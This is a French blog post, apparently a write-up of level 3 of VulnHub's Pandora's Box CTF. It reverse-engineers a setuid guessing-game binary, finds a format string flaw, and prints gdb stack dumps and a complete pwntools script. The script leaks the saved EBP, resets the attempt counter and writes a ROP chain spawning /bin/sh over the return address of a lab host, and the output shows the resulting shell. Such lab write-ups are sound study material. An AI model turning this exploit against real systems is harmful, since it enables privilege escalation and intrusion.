Accueil Solution du CTF Pandora's Box de VulnHub (level 3)
Post
Annuler

Solution du CTF Pandora's Box de VulnHub (level 3)

Après avoir écrasé un pointeur dans le heap pour obtenir un write-what-where dans le précédent level nous voici donc face à un autre binaire setuid qui nous donnera les droits de l’utilisateur level3.

Un petit coup de strings sur le binaire nous bombarde d’information et pour cause : le programme est compilé statiquement et pèse 586 octets !

Le fonctionnement du binaire est le suivant :

1
2
3
4
5
6
$ ./level3
############################
# Random number game - 1.0 #
############################
guess the number between 0 and 40, type exit to close
guess:

Une fois ouvert avec mon outil de reverse préféré, Cutter, je vois que la fonction main ne fait qu’appeller une fonction nommée start_game avant d’afficher un message d’au revoir.

Ça semble déjà être un choix de conception tourné vers la possibilité d’écraser une adresse de retour :-P

Cette fonction start_game commence par obtenir un chiffre pseudo-aléatoire via une fonction custom que je n’ai pas daigné regarder.

On a aussi au début des variables initialisées dont un compteur mis à 0 et incrémenté à chaque tour. Si il atteint la valeur 7 (nombre de tentatives) on est ejectés.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
start_game ();
; var unsigned long var_21ch @ ebp-0x21c
; var unsigned long var_218h @ ebp-0x218
; var unsigned long var_214h @ ebp-0x214
; var int32_t var_210h @ ebp-0x210
; var const char *s1 @ ebp-0x20c
; var int32_t canary @ ebp-0xc
; var const char *format @ esp+0x4
; var const char *var_8h @ esp+0x8
; var int32_t var_sp_ch @ esp+0xc
0x0804847c      push    ebp
0x0804847d      mov     ebp, esp
0x0804847f      sub     esp, 0x238
0x08048485      mov     eax, dword gs:[0x14]
0x0804848b      mov     dword [canary], eax
0x0804848e      xor     eax, eax
0x08048490      mov     dword [var_21ch], 0
0x0804849a      mov     dword [var_218h], 0   ; <----------- ici le compteur
0x080484a4      mov     dword [format], 2 ; int32_t arg_4h
0x080484ac      mov     dword [esp], 1 ; int32_t arg_8h
0x080484b3      call    __dup2     ; sym.__dup2
0x080484b8      call    show_welcome ; sym.show_welcome
0x080484bd      mov     dword [esp], 0x28 ; '(' ; 40 ; int32_t arg_8h
0x080484c4      call    random_nr  ; sym.random_nr
0x080484c9      mov     dword [var_214h], eax
0x080484cf      cmp     dword [var_218h], 7 ; <------------- là la comparaison
0x080484d6      jne     0x804850c ; <------------ continue pour d'autres chances
0x080484d8      mov     eax, dword [stderr] ; obj._IO_stderr
                                   ; 0x80ca564
0x080484dd      mov     dword [var_sp_ch], eax
0x080484e1      mov     dword [var_8h], 0xa ; int32_t arg_14h
0x080484e9      mov     dword [format], 1 ; int32_t arg_ch
0x080484f1      mov     dword [esp], str.You_lose ; 0x80abb77 ; int32_t arg_10h <------------ vers la fin de boucle avec un ret 
0x080484f8      call    _IO_fwrite ; sym._IO_fwrite

Le programme ne fait rien de plus que faire deviner un nombre : il n’y a aucun shell ou mot de passe révélé si on trouve le bon chiffre.

La lecture de l’input se fait de façon sécurisée via un readline (qui retourne directement un pointeur vers une zone allouée dans le tas) puis une conversion en nombre via strtoint :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
0x0804850c      mov     dword [var_8h], str.guess: ; 0x80abb82 ; int32_t arg_10h
0x08048514      mov     dword [format], 0x200 ; 512 ; int32_t arg_ch
0x0804851c      lea     eax, [s1]
0x08048522      mov     dword [esp], eax ; int32_t arg_8h
0x08048525      call    readline   ; sym.readline
0x0804852a      mov     dword [format], str.exit ; 0x80abb8a ; const char *s2
0x08048532      lea     eax, [s1]
0x08048538      mov     dword [esp], eax ; const char *s1
0x0804853b      call    strcmp     ; sym.strcmp ; int strcmp(const char *s1, const char *s2)
0x08048540      test    eax, eax
0x08048542      jne     0x8048553
0x08048544      mov     dword [var_21ch], 1
0x0804854e      jmp     0x8048617
0x08048553      add     dword [var_218h], 1
0x0804855a      lea     eax, [s1]
0x08048560      mov     dword [esp], eax ; int32_t arg_8h
0x08048563      call    strtoint   ; sym.strtoint
0x08048568      mov     dword [var_210h], eax
0x0804856e      mov     eax, dword [var_210h]
0x08048574      cmp     eax, dword [var_214h]
0x0804857a      jle     0x80485b1
0x0804857c      lea     eax, [s1]
0x08048582      mov     dword [var_8h], eax
0x08048586      mov     dword [format], str.Your_guess__s_is_to_high ; 0x80abb8f ; const char *format
0x0804858e      mov     dword [esp], outputbuff ; 0x80cc200 ; char *s
0x08048595      call    sprintf    ; sym.sprintf ; int sprintf(char *s, const char *format, va_list args)  <- HOHOHO
0x0804859a      mov     eax, dword [stderr] ; obj._IO_stderr
                                   ; 0x80ca564
0x0804859f      mov     dword [format], outputbuff ; 0x80cc200 ; const char *format
0x080485a7      mov     dword [esp], eax ; FILE *stream
0x080485aa      call    fprintf    ; sym.fprintf ; int fprintf(FILE *stream, const char *format, void *va_args)
0x080485af      jmp     0x8048617
0x080485b1      mov     eax, dword [var_210h]
0x080485b7      cmp     eax, dword [var_214h]
0x080485bd      jge     0x80485e0
0x080485bf      mov     eax, dword [stderr] ; obj._IO_stderr
                                   ; 0x80ca564
0x080485c4      lea     edx, [s1]
0x080485ca      mov     dword [var_8h], edx
0x080485ce      mov     dword [format], str.Your_guess__s_is_to_low ; 0x80abba9 ; const char *format
0x080485d6      mov     dword [esp], eax ; FILE *stream
0x080485d9      call    fprintf    ; sym.fprintf ; int fprintf(FILE *stream, const char *format, void *va_args)
0x080485de      jmp     0x8048617
0x080485e0      mov     eax, dword [var_210h]
0x080485e6      cmp     eax, dword [var_214h]
0x080485ec      jne     0x8048617

Mais à bien regarder on voit que la façon dont l’output est géré quand le chiffre est trop grand est différente de quand le chiffre est trop petit.

En effet, au lieu de faire directement le fprintf vers la sortie d’erreur, le programme ajoute un sprintf et la chaine générée est alors passée telle quelle à un fprintf.

La fonction sprintf n’ayant pas de protection contre les buffer overflow on pourrait penser qu’elle constitue l’objectif du level mais à bien regarder le buffer de destination outputbuff n’est pas une variable de la stack frame : il est rattaché à l’adresse 0x80cc200, c’est une variable globale.

Effectivement on peut provoquer un overflow et on obtient un segfault mais le crash survient en plein milieu de la fonction getenv donc bien loin du code que l’on a sous les yeux.

En vérité il s’agit bien sûr d’une exploitation de chaine de format car on a le contrôle sur ce qui est passé à fprintf :

1
2
3
4
5
6
7
8
9
$ ./level3
############################
# Random number game - 1.0 #
############################
guess the number between 0 and 40, type exit to close
guess: %08x
Your guess %08x is to low
guess: 40%08x
Your guess 40ffd6c54c is to high

En passant 40 au début de la chaine on passe le stroint, on entre dans le cas du trop grand et on déclenche le bug.

Avec une vulnérabilité de format string on peut extraire et écrire des données comme expliqué ici : Pwing echo : Exploitation d’une faille de chaîne de format.

Faites vos jeux

Mais pour réaliser l’exploitation il faut une bonne connaissance de l’état de la stack. Ici j’ai placé un breakpoint sur l’adresse 0x080485af (juste après le fprintf vulnérable) et en afichant 148 dwords à partir de esp+32 je retrouve toutes les informations qui m’intéressent :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
guess: 40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Your guess 40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is to high

Breakpoint 1, 0x080485af in start_game ()
(gdb) x/148wx $esp+(8*4)
0xffffca00:     0x00000002      0x0000000d      0x00000028      0x41413034
0xffffca10:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffca20:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffca30:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffca40:     0x00414141      0x00000000      0x00000000      0x00000000
0xffffca50:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffca60:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffca70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffca80:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffca90:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcaa0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcab0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcac0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcad0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcae0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcaf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb00:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb10:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb20:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb30:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb40:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb50:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb60:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb80:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcb90:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcba0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbb0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcbf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcc00:     0x00000000      0x00000000      0x00000000      0x7530fc00
0xffffcc10:     0x0000000c      0x00000000      0xffffcc58      0x08048671
0xffffcc20:     0x00000001      0xffffccf4      0xffffccfc      0x90388544
0xffffcc30:     0xffffcc40      0x08049115      0xffffccf4      0x00000001
0xffffcc40:     0xffffcc58      0x08049177      0x08048d00      0x7530fc00

Ainsi la toute première valeur correspond au compteur (ici de valeur 2). Il est très important car on ne parviendra sans doute pas au boût de l’exploitation en 7 coups donc il va falloir écraser sa valeur (si on relance le programme les adresses auront changées en raison de l’ASLR).

Toujours sur la même ligne mais en fin (à esp+44) on voit le début de notre buffer.

Beaucoup plus bas on trouve la valeur du stack cookie : 0x7530fc00. Cette valeur est aléatoire et change à chaque exécution du programme. Cette valeur dispose toujours d’un octet nul histoire d’embêter les hackers :p

On devinait qu’il y aurait un stack cookie car on avait les instructions suivantes dans le début de la fonction :

1
2
0x08048485      mov     eax, dword gs:[0x14] ; <-- instruction classique pour obtenir le stack cookie
0x0804848b      mov     dword [canary], eax

Situé juste en dessous dans le dump, l’adresse 0x08048671 est l’adresse de retour pour le main.

Forcément, juste avant se trouve l’adresse du saved ebp (adresse de base de la précédente stack frame) : 0xffffcc58.

Si je pose un breakpoint au niveau de l’instruction ret de start_game et que je regarde l’adresse de esp je vois que 60 octets la sépare de l’adresse de base de la stack frame rétablie :

1
2
3
4
5
6
7
8
9
10
11
(gdb) b *0x08048648
Breakpoint 2 at 0x8048648
(gdb) c
Continuing.
guess: exit

Breakpoint 2, 0x08048648 in start_game ()
(gdb) info reg esp
esp            0xffffcc1c          0xffffcc1c
(gdb) p 0xffffcc58 - 0xffffcc1c
$1 = 60

Mon objectif d’exploitation consiste donc avant tout à faire fuiter l’adresse du saved ebp. Par la suite cette adresse me servira de référence pour calculer les adresses où je veux écrire telles que :

  • le compteur à saved ebp - 600

  • l’adresse de retour à saved ebp - 60

Le binaire est NX + Canary avec la stack randomisée donc il faut utiliser des ROPs. Comme il est aussi statique il n’y a pas de GOT (donc pas de possibilité de remplacer une adresse de fonction par une autre).

Avec nm -a on peut voir tous les symboles dans le binaire mais system n’en fait pas partie. On pourrait penser qu’un programme compilé statiquement incorpore bêtement la libc mais même en cherchant la fonction system via les opcodes qui devraient la composer je ne l’ai pas retrouvé.

Comme mes skills pour trouver un stack-pivot (c’est à dire faire pointer esp vers une stack-frame qu’on aurait créé de toute pièce) ne sont pas au point, je place simplement mon ROP sur l’adresse de retour et ce qui se trouve après et je laisse esp suivre son cours naturel.

Hammer time

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import re
import struct
from pwn import *

ropchain = [
    # setreuid(1003, 1003) by me
    0x080540cd, # pop ecx ; pop ebx ; ret
    1003,
    1003,
    0x080a87d6, # pop eax ; ret
    70, # setreuid syscall number (ref https://x86.syscall.sh/)
    0x08054820, # int 80 ; ret <- trouvé avec ROPgadget via une recherche d'opcodes

    # ropchain generated by ROPgadget that I slightly
    # improved as readline allows null bytes
    0x080540a6, # pop edx ; ret
    0x080ca080, # @ .data
    0x080a87d6, # pop eax ; ret
    struct.unpack("<I", b"/bin")[0],
    0x080797d1, # mov dword ptr [edx], eax ; ret
    0x080540a6, # pop edx ; ret
    0x080ca084, # @ .data + 4
    0x080a87d6, # pop eax ; ret
    struct.unpack("<I", b"//sh")[0],
    0x080797d1, # mov dword ptr [edx], eax ; ret
    0x080540a6, # pop edx ; ret
    0x080ca088, # @ .data + 8
    0x0809807f, # xor eax, eax ; ret
    0x080797d1, # mov dword ptr [edx], eax ; ret
    0x080540ce, # pop ebx ; ret
    0x080ca080, # @ .data
    0x080540cd, # pop ecx ; pop ebx ; ret
    0x080ca088, # @ .data + 8
    0x080ca080, # padding without overwrite ebx
    0x080540a6, # pop edx ; ret
    0x080ca088, # @ .data + 8
    0x080a87d6, # pop eax ; ret
    11, # execve syscall number
    0x08048bdd, # int 0x80
]

# Switch to "process" instructions for local exploitation
# p = process('./level3', stdin=process.PTY, stdout=process.PTY)                                                       
p = remote("192.168.56.83", 44101)

def exec_fmt(payload):
    global p
    try:
        p.readuntil(b"guess: ")
    except EOFError:
        p.close()
        # p = process('./level3', stdin=process.PTY, stdout=process.PTY)
        p = remote("192.168.56.83", 44101)
        p.readuntil(b"guess: ")

    p.sendline(b"40" + payload)
    buff = p.recvline()
    return buff

# Utilise la fonction de callback pour communiquer avec le programme
# FmtStr fait le reste de la magie
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
info("offset is at dword %d", offset)
p.close()

# p = process('./level3', stdin=process.PTY, stdout=process.PTY)
p = remote("192.168.56.83", 44101)
p.readuntil(b"guess: ")
# dump de saved ebp. Malheureusement pwntools n'offre rien pour extraire les données
# je réutilise un payload similaire à celui du pwntools (obtenu via un simple print dans exec_fmt)
p.sendline(b"40aaaabaaacaaadaaaeaaaSTART%141$08xEND")
buff = p.readlineS()
saved_ebp_addr = int(re.search(r"START(.*)END", buff).group(1), 16)
print(f"Saved EBP = {hex(saved_ebp_addr)}")

# On se débarasse du compteur
print(f"Ecriture de 31337 à l'adresse {saved_ebp_addr - 600:08x}")
autofmt.write(saved_ebp_addr - 600, 31337)
autofmt.execute_writes()
dest_addr = saved_ebp_addr - 60

for offset, value in enumerate(ropchain):
    payload = fmtstr_payload(11, {dest_addr + 4*offset: value}, write_size='byte', numbwritten=15)
    p.sendline(b"40aa" + payload)
    p.readuntil(b"guess: ")

p.sendline(b"exit")
p.interactive()
p.close()

Et ça marche :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python remote_lvl3.py 
[+] Opening connection to 192.168.56.83 on port 44101: Done
[*] Closed connection to 192.168.56.83 port 44101
[+] Opening connection to 192.168.56.83 on port 44101: Done
[*] Found format string offset: 11
[*] offset is at dword 11
[*] Closed connection to 192.168.56.83 port 44101
[+] Opening connection to 192.168.56.83 on port 44101: Done
Saved EBP = 0xbfec9078
Ecriture de 31337 à l'adresse bfec8e20
[*] Switching to interactive mode
Your guess 40aa--- snip ---\x00\xb0\x90쿱\x90쿳\x90\xec\xbf is to high
guess: $ id
uid=1003(level3) gid=1001(level1) groups=1003(level3),1001(level1)

Comme sur le CTF Pegasus j’ai utilisé pwntools qui a correctement trouvé l’offset auquel les données étaient reflétées.

En théorie via FmtStr on peut alors simplement spécifier avec la méthode write l’adresse où l’on veut écrire et la valeur puis on valide avec execute_writes.

Ça a marché effectivement au début mais après j’ai eu encore recours à la méthode plus brute fmtstr_payload qui laisse moins de surprises…

Publié le 26 décembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.